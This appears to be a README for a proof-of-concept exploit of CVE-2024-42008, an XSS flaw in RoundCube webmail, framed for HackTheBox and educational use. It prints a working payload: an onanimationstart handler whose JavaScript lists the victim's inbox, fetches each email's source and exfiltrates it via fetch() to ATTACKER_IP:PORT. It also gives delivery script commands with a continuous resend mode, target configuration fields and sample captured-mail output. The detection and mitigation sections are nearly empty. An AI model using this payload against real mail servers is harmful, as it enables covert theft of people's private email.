
This repository contains a proof-of-concept exploit for CVE-2024-42008, a Cross-Site Scripting (XSS) vulnerability in RoundCube webmail application. This exploit is designed for educational purposes and controlled penetration testing environments like HackTheBox.
The vulnerability exists in rcmail_action_mail_get->run() and allows remote attackers to execute arbitrary JavaScript in victims' browsers. The flaw stems from insufficient input validation when processing email content, particularly in handling CSS animations and JavaScript execution contexts.
Key Attack Vector:
onanimationstart event handlers bypass content filtersSuccessful exploitation allows attackers to:
The exploit consists of three main components:
// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
// 1. Fetch email list from victim's INBOX
fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
.then(r=>r.text())
.then(t=>{
// 2. Extract email UIDs using regex
[...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
// 3. For each email, fetch full source
fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
.then(r=>r.text())
.then(data=>{
// 4. Exfiltrate email data to attacker server
fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
})
})
})
; foo=bar">
pip install requests
# Single payload delivery
python cve-2024-42008-exploit.py
# Continuous mode (every 30 seconds)
python cve-2024-42008-exploit.py -c
# Custom interval (every 60 seconds)
python cve-2024-42008-exploit.py -c -i 60
# Debug mode with proxy
python cve-2024-42008-exploit.py -d
Edit the script to configure:
ATTACKER_IP: Your listening server IPATTACKER_PORT: Port for receiving exfiltrated dataRECIPIENT_EMAIL: Target email addressTARGET_URL: Vulnerable RoundCube instancePROXY: Proxy server for debugging (Burp Suite/Caido)| Option | Description |
|---|---|
-d, --debug | Enable debug mode with proxy support |
-c, --continuous | Send payloads continuously |
-i, --interval | Interval between payloads (default: 30s) |
Detection Indicators:
onanimationstart event handlers in HTMLMitigation Strategies:
Testing Considerations:
⚠️ WARNING: This exploit is provided for educational and authorized testing purposes only.
[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200
[+] 📩 Captured Email Data:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log
This code is provided for educational purposes and authorized penetration testing only. The authors are not responsible for any misuse or damage caused by this software. Always ensure you have proper authorization before testing any system.